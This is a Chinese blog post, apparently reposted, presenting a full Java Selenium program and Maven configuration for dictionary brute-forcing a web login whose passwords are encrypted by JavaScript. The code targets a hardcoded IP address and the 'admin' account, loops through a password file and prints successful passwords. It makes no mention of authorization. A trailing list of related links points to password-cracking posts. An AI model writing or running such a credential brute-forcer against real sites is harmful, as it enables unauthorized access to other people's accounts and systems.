经常碰到网站,账号密码通过js加密后进行提交。通过burp拦截抓到的账号密码是加密后的,所以无法通过burp instruder进行破解。只能模拟浏览器填写表单并点击登录按钮进行破解。于是想到了自动化web测试工具selenium,代码如下,测试效果还不错。

package com.example.tests;

import java.util.regex.Pattern;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileReader;
import java.util.concurrent.TimeUnit;
import org.junit.*;
import static org.junit.Assert.*;
import static org.hamcrest.CoreMatchers.*;
import org.openqa.selenium.*;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.support.ui.Select;

public class GS {
private WebDriver driver;
private String baseUrl;
private boolean acceptNextAlert = true;
private StringBuffer verificationErrors = new StringBuffer();

@Before
public void setUp() throws Exception {
driver = new FirefoxDriver();
baseUrl = "http://223.116.34.113:81/";
driver.manage().timeouts().implicitlyWait(30, TimeUnit.SECONDS);
}

@Test
public void testGS() throws Exception {

File file = new File("C:\\Users\\root\\Desktop\\xxx\\password.txt");   //加载密码字典
FileReader fr = new FileReader(file);
@SuppressWarnings("resource")
BufferedReader br = new BufferedReader(fr);
@SuppressWarnings("unused")
String str = "";

while ((str = br.readLine()) != null) {   //循环读取字典里的每一行
String url = baseUrl + "/web/login.aspx?" + str;  // 后边加上str是为了每次强制刷新url,加不加看具体情况
driver.get(url);
driver.findElement(By.id("txt_UserID")).clear();  //清空用户名输入框
driver.findElement(By.id("txt_UserID")).sendKeys(admin);  //设置用户名
driver.findElement(By.id("txt_Password")).clear();  //清空密码输入框
driver.findElement(By.id("txt_Password")).sendKeys(str);  //设置密码

driver.findElement(By.xpath("//a/span")).click();  //模拟点击登录按钮
Thread.sleep(1000);   //等待一秒,是否等待看具体情况。
String cururl = driver.getCurrentUrl();   // 获取当前url
if (!cururl.equals(url + "#")) {   //如果登录成功会跳转,则url会发生变化
System.out.println(str);   //输入可以登录成功的密码

}
}
}

@After
public void tearDown() throws Exception {
driver.quit();
String verificationErrorString = verificationErrors.toString();
if (!"".equals(verificationErrorString)) {
fail(verificationErrorString);
}
}

private boolean isElementPresent(By by) {
try {
driver.findElement(by);
return true;
} catch (NoSuchElementException e) {
return false;
}
}

private boolean isAlertPresent() {
try {
driver.switchTo().alert();
return true;
} catch (NoAlertPresentException e) {
return false;
}
}

private String closeAlertAndGetItsText() {
try {
Alert alert = driver.switchTo().alert();
String alertText = alert.getText();
if (acceptNextAlert) {
alert.accept();
} else {
alert.dismiss();
}
return alertText;
} finally {
acceptNextAlert = true;
}
}
}

以上代码依赖如下(maven):pom.xml

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>F</groupId>
<artifactId>F</artifactId>
<version>0.0.1-SNAPSHOT</version>
<packaging>jar</packaging>

<name>F</name>
<url>http://maven.apache.org</url>

<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
</dependency>

<dependency>
<groupId>org.seleniumhq.selenium</groupId>
<artifactId>selenium-java</artifactId>
<version>2.53.0</version>
</dependency>

<dependency>
<groupId>org.seleniumhq.selenium</groupId>
<artifactId>selenium-firefox-driver</artifactId>
<version>2.53.0</version>
</dependency>

</dependencies>
</project>

转载于:https://www.cnblogs.com/SEC-fsq/p/5434796.html

使用selenium进行密码破解(绕过账号密码JS加密)相关推荐

  1. python123注册邮箱_Python实现破解邮箱账号密码的实例

    这篇文章主要介绍了Python实现在线暴力破解邮箱账号密码功能,结合完整实例形式分析了Python读取txt字典文件针对邮箱的相关验证破解操作技巧,需要的朋友可以参考下 本文实例讲述了Python实现 ...

  2. 百度云(主机管理密码、FTP登录密码、MySQL账号密码)配置 - 入口篇

    百度云(如何进入)主机控制面板 ?如何设置FTP密码.管理员密码.数据库密码? 一.控制面板入口 第一步: 入口·点击访问入口地址 第二步:访问入口地址 第三步:设置FTP密码 完成. 二.FTP密码 ...

  3. android华为账号登陆,华为手机怎么找回华为账号密码?华为账号密码两种找回方法...

    忘记华为账号密码真的是一件让人头疼的事,账号绑定的游戏进不去.喜欢的主题无法下载,真是让人干着急,别担心,小编这就整理了一些如何找回华为账号密码的方法,一起来了解下吧! 方法一 通过华为官方链接找回密 ...

  4. git 记住账号密码和清除账号密码

    git 默认不记住账号密码,每次 clone 都要输入账号密码: 记住账号密码: 我们执行下面的命令 git config --global credential.helper store 这个命令其 ...

  5. mysql 暴力破解 root账号密码

    测试数据库的root账号密码大家都忘记了,好吧,那我们就暴力破解吧 1.找到my.cnf vi /etc/my.cnf 在[mysqld]的段中加上一句:skip-grant-tables 例如: [ ...

  6. 电脑密码破解、笔记本密码介绍

    PC虽都上了"安全锁",但丢"钥匙"的也不少. 1. CMOS破解 使用电脑,首先需要开机.因此开机密码是最先要遇到的.虽然CMOS种类各异,但它们的加密方法却 ...

  7. 怎么知道 网站是否直接明文保存密码_忘记账号密码 浏览器记住了 怎么找回密码?...

    对于健忘又没有使用保存密码插件的习惯的人来说,忘记密码是经常的事情. 而大家知道的也就是通过网站的找回密码选项,通过邮箱,手机号,人工等方式找回密码,但是如果是个小网站,没有找回的功能,或者当时是随便 ...

  8. EXCEL VBAProject密码破解 工作表密码破解

    1.修改.xlsm后缀为.zip 2.使用压缩软件打开,进入xl目录找到vbaProject.bin文件,解压出来 3.使用Hex软件打开vbaProject.bin文件,查找DPB替换成DPx,保存 ...

  9. linux的xshell怎么保存密码,Xshell保存账号密码方法

    Xshell安全的终端模拟器,用户可以轻松安全的从Windows PC上访问主机.经常使用xshell用户就会知道账号.密码是特别重要的东西,虽然xshell是可以自动登录的,但是在这个之前我们至少要 ...

最新文章

  1. 凯撒密码、GDP格式化输出、99乘法表
  2. CNN边缘检测--Richer Convolutional Features for Edge Detection
  3. vscode插件的开发与发布流程
  4. webpack4配置基础
  5. 你技术很强但薪资不涨?这门技术远比你想的更重要!
  6. SpringMVC——处理方法返回值的可选类型
  7. SENet(ILSVRC2017-最后一个冠军)
  8. 二位数组的示例 go语言
  9. php 库下载,远程文件下载php类库
  10. 北邮计算机专硕在微软实习转正,【微软中国(Microsoft)实习生面试】很随意很简单,毕竟实习生转正比率很低。-看准网...
  11. html5设置视频显示第一帧,【前端】如何在video上显示视频的第一帧
  12. Matlab系列之GUI设计实例2
  13. RabbitMQ Management HTTP API的简单封装
  14. Thingworx- 创建一个网络
  15. R语言检验时间序列的平稳性(tseries包adf.test):时间序列数据是zoo或xts对象,使用coredata函数提取原始数据,再将其传递给adf.test函数
  16. 每日一句:day02——From Zero To Hero
  17. python 召回率_使用sklearn获取精确性和召回率
  18. 王晋康 - 替天行道 ▪ 王晋康科幻小说精选集2(2014年3月27日)
  19. 提取文件名-Java
  20. java 中遍历双列集合_获取单列集合,双列集合,数组的Stream流对象以及简单操作...

热门文章

  1. (转)MFC技巧学习五
  2. mysql使用方法_Mysql的常用用法
  3. qt 定时器_Qt开源作品23-颜色拾取器
  4. 以OpenCV为例配置VS第三方库
  5. JAVA客户端数据传输_java模拟TCP通信实现客户端上传文件到服务器端
  6. Lintcode--1(463)--整数排序
  7. php7 对象转数组,php7中为对象/关联数组进行解构赋值
  8. lua菜鸟教程_Lua语言学习
  9. python求最小公倍数_python求最大公约数和最小公倍数的简单方法
  10. jquery手写轮播图_15个超强的jQuery/HTML5图片轮播插件